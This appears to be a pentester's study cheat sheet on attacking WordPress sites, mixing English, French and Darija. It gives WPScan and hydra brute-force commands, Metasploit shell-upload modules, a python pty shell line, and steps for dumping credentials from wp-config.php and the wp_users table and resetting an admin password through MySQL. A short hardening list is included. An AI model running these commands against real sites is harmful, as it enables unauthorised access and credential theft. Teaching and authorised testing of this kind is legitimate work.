WordPress work with PHP + MySQL.

----------------------------------------------------------------------------------#

1. WordPress Architecture ➔Themes Themes control the visual appearance of a WordPress site. They are made up of: PHP (server-side logic) HTML/CSS (structure and style) JavaScript (dynamic behaviors).

Location :#

/wp-content/themes/ Vulnérabilités possibles f themes : Cross-Site Scripting (XSS) · injection JavaScript. Local File Inclusion (LFI) · flaws f path handling. Sensitive information exposure (if developers khallo credentials f code).

➔Plugins Plugins : Plugins extend WordPress functionality (e.g., contact forms, shops, galleries). kayzido fonctionnalités jdida l WordPress. (Exemples : form contact, SEO tools, file managers...)

Location :#

/wp-content/plugins/

Vulnérabilités fréquentes : SQL Injection File Upload (PHP shell injection) Remote Code Execution (RCE) Privilege Escalation.

➔ Core WordPress Core refers to the main WordPress files without themes or plugins. Dossiers principaux : /wp-includes/ /wp-admin/ /wp-content/ We have also some importante files like : wp-config.php that contains (database name/password ...and more sensitive info) Risques :

Zero-Day Exploits Old unpatched versions dyal WordPress (Critical RCEs, Auth Bypass).

2. User Roles (Roles dyal utilisateurs)

Role | Permissions Administrator | Full access (install, delete, update plugins/themes, manage users). Editor | Manage posts/pages for others. Author | Create/edit/publish own posts. Contributor | Create posts (but admin must approve). Subscriber | Read-only access (view content).

3. Tools Spécifiques pour WordPress Pentesting

➔ WPScan Tool officiel (OWASP Project).

Scanning dyal WordPress vulnerabilities... It can detect: Users Plugins Themes Known vulnerabilities exemples Useful WPScan Commands: : wpscan --url http://site.com (opens in a new tab) wpscan --url http://site.com (opens in a new tab) --enumerate u # enumerate users wpscan --url http://site.com (opens in a new tab) --enumerate p # enumerate plugins wpscan --url http://site.com (opens in a new tab) --enumerate t # enumerate themes !!!!!!! You need a free API token from wpscan.com to access their vulnerability database. !!!!!!! ➔ WPShell Provides a bash-like shell to interact with a compromised WordPress installation. Allows executing system commands directly from the WordPress server.(Execute commands b7al : ls, whoami, cat /etc/passwd men WordPress.)

➔Metasploit Framework Exploitation framework that contains multiple WordPress-specific modules: wp_admin_shell_upload (upload shell via admin credentials) wordpress_xmlrpc_bruteforce (bruteforce attacks via XML-RPC) wordpress_content_injection (unauthorized content publishing)

4. WordPress Security Best Practices (Hardening)

Action Purpose Update core/plugins/themes Patch known vulnerabilities. Disable XML-RPC Prevent bruteforce/DDoS attacks. Limit Login Attempts Reduce the risk of bruteforce login attacks. Install Security Plugins Like Wordfence or iThemes Security. Hide wp-login.php Change login path to avoid bruteforce bots. Secure file permissions 644 for files, 755 for directories. Disable PHP execution in uploads folder Prevent webshell uploads.

---------------------------------------####

!!!!!!what is XML-RPC !!!!!!!!! XML-RPC is a remote procedure call (RPC) protocol that uses XML to encode its calls and HTTP as a transport mechanism.

---------------------------------------####

In WordPress, XML-RPC allows external systems (such as mobile apps, publishing software, or automation tools) to interact with the site by sending structured XML requests over HTTP. (XML-RPC hiya wahed tari9a katkhlli les apps w les programmes yhdro m3a wordpress mn bra bla mathtaj tdkhl mn navigateur)

Bdarija :
XML-RPC : Hya tari9a katkhlli chi programme ycommunicay m3a WordPress mn l'b3id.

We can use also xmlrpc-multicall to do multiple attemps in one request xmlrpc.php is the file in WordPress that receives commands from external applications and executes them inside WordPress.

XML-RPC enabled or not !!!!!!!!#

we can go to http://target.com/xmlrpc.php (opens in a new tab) if we have XML-RPC server accepts POST requests only. ==> enabled else ==> disabled

#

Inspecter -- network --refresh --response headers (php/webserver ) ///view PHP version
Web Servers apache Nginx tomcat http://IP/phpinfo.php (opens in a new tab) search in metasploit : auxiliary/scanner/http/http_version http_version kaychof server headers,like Apache/2.4.41 (Ubuntu) nginx/1.18.0 Apache Tomcat/9.0.41

searchsploit apache version possible ndiro grep php

Enumeration wordpress (Wordpress Recon ) we can use differents tools like : ffuf,gobuster...and more ffuf http://IP/FUZZ (opens in a new tab) -w /usr/share/wordlists/... we can enumerate users with this endpoint : IP/wp-json/wp/v2/users (hadi endpoint dyal WordPress REST API) it can display the users (authors) of the website without permissions parfois il me donne ID / Name / Slug(username) / Profil Link / parfois htta l email

And After we can do brute forcing or dictionnary attacks passwords

 mitigation : use some Plugins like Disable REST API or WP Hardening
Disable REST API of unauthentificated users

============================ ==========wpscan============

What is WPScan?

WPScan is a CLI tool created in 2011 specifically for WordPress Security. It's developed in Ruby and used for performing reconnaissance and vulnerability scanning on WordPress sites. It can detect:

• WordPress version
• Users
• Installed plugins and themes
• Known vulnerabilities and CVEs

It scans URLs and endpoints by parsing HTML content, headers, and JSON responses.

How WPScan Works:

1. Scans the target URL
2. Detects if the target is a WordPress site by identifying patterns (e.g., /readme.html, meta generator tag, XML-RPC)
3. Enumerates users via REST API (e.g., /wp-json/wp/v2/users)
4. Scans for known plugins and themes by requesting paths like:
   • /wp-content/plugins/
   • /wp-content/themes/
5. Matches discovered plugins/themes with known vulnerabilities (CVE + CVSS scores)
6. Can perform brute-force attacks on /wp-login.php using a wordlist

Summary of Capabilities:

• WordPress version detection
• User enumeration
• Plugin enumeration
• Theme enumeration
• Login brute force attack
• Vulnerability scanning
• CVE lookup via WPScan Vulnerability DB (requires API key)

Example Commands:

Scan WordPress version: wpscan --url http://site.com (opens in a new tab)

Enumerate users: wpscan --url http://site.com (opens in a new tab) --enumerate u

Enumerate plugins: wpscan --url http://site.com (opens in a new tab) --enumerate p

Enumerate themes: wpscan --url http://site.com (opens in a new tab) --enumerate t

Full enumeration (users, plugins, themes): wpscan --url http://site.com (opens in a new tab) --enumerate at

. Brute force login page: wpscan --url http://site.com (opens in a new tab) \ --passwords /usr/share/wordlists/rockyou.txt \ --usernames admin or wpscan --url http://site.com (opens in a new tab) -U "admin,anas,hamza" -P /usr/share/wordlists/... --password-attack xmlrpc

Brute force with hydra : hydra -L users.txt -P rockyou.txt target.com http-post-form "/xmlrpc.php:username=^USER^&password=^PASS^:Invalid" but hssn nkhdmo b hydra : faster than wpscan or burp hydra -L users.txt -P rockyou.txt
target.com http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:Invalid username or password."

========================= WordPress Exploitation Phase ================================

1. Find Exploits

• Identify the WordPress version (using WPScan or manual inspection)
• Search for known exploits on:
  • ExploitDB (https://exploit-db.com (opens in a new tab))
  • GitHub
  • Google (CVE IDs)
• Optionally use Metasploit for pre-built modules (easy & fast): Example: use exploit/unix/webapp/wp_admin_shell_upload

2. Gaining Shell Access

• After successful exploitation (e.g., RCE or file upload), spawn a shell.

• From Meterpreter: meterpreter > shell

• Stabilize the shell using Python: python -c 'import pty; pty.spawn("/bin/bash")' or python3 -c 'import pty; pty.spawn("/bin/bash")'

3. Extract WordPress Configuration & MySQL Credentials

• Navigate to the root of the WordPress installation and read: wp-config.php

• Inside you’ll find database credentials like: DB_USER: anas DB_PASSWORD: password123

• Connect to MySQL: mysql -u anas -p password: password123

4. Dump WordPress Database

• List databases: show databases;
• Choose one (e.g., ENSA) and explore: use ENSA; show tables; select * from wp_users;
• You will see usernames and password hashes.

5. About WordPress Password Hashing

• WordPress uses phpass (Portable PHP password hashing)
• Hashes start with $P$ Example: $P$BjoFHe8zI... → phpass
• To identify the hash type: hashcat hash.txt --identify

6. Privilege Escalation & Password Reset

• After gaining shell or DB access, you can escalate privileges (e.g., via SUID binary, misconfig, etc.)
• If you have MySQL access, you can change WordPress account passwords directly.
• First, generate a new hash (phpass) using online generator or Python.
• Then update the password in MySQL: UPDATE wp_users SET user_pass = "NEW_HASH_HERE" WHERE user_login = "anas"; After this, login to WordPress with the new password.

Directory structure#

WordPress Structure :#

Paths WordPress Classiques (à tester)#

Login & Admin :

/wp-login.php
/wp-admin/
/wp-admin/admin-ajax.php
 

REST API & JSON

/wp-json/
wp-json/wp/v2/users
wp-json/wp/v2/posts
 

Fichiers sensibles

/readme.html
/license.txt
/xmlrpc.php
/wp-cron.php
/wp-config.php.bak
/wp-config.php.save
/debug.log
/.git/config
 

Plugins & Themes

/wp-content/plugins/
/wp-content/themes/
/wp-content/uploads/
/wp-content/debug.log
 

Installation / Reset / Upgrade

/wp-admin/install.php
/wp-admin/upgrade.php
 

Enumération Utilisateurs

/?author=1
/?author=2
 
 

Brute Force & Auth Attacks

/wp-login.php
/xmlrpc.php  (pour attaque brute force via "system.multicall")
 

Wordlist spéciale reconnaissance WordPress :

/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 

/usr/share/seclists/Discovery/Web-Content/CMS/wordpress.txt
 

Path | Description /wp-admin/ | Back-end admin panel (interface dyal dashboard) /wp-content/ | Plugins, Themes, Uploads kaynin hna /wp-content/plugins/ | Directory dyal all plugins (vulnerable area) /wp-content/themes/ | Themes directory (design dyal site) /wp-content/uploads/ | Uploaded files (images, media...) /wp-includes/ | Core internal functions & classes wp-config.php | DB config (name/user/pass) + security keys index.php | Entry point, loads the site .htaccess | Apache settings (permalinks, redirects...)

Top wordlists in kali linux :#

/usr/share/seclists/Discovery/Web-Content/CMS/trickest-cms-wordlist/wordpress.txt /usr/share/seclists/Discovery/Web-Content/CMS/trickest-cms-wordlist/wordpress-all-levels.txt /usr/share/seclists/Discovery/Web-Content/CMS/wordpress.fuzz.txt /usr/share/seclists/Discovery/Web-Content/URLs/urls-wordpress-3.3.1.txt /usr/share/seclists/Passwords/Honeypot-Captures/wordpress-attacks-july2014.txt /usr/share/seclists/Passwords/Honeypot-Captures/Sucuri-Top-Wordpress-Passwords.txt

Directory enumeration#

Download the wordlist (check the file wordpress.fuzz.txt) gobuster dir -u http://site.com/wordpress (opens in a new tab) -w wordpress.fuzz.txt -t 64 --exclude-status 404,403,400,500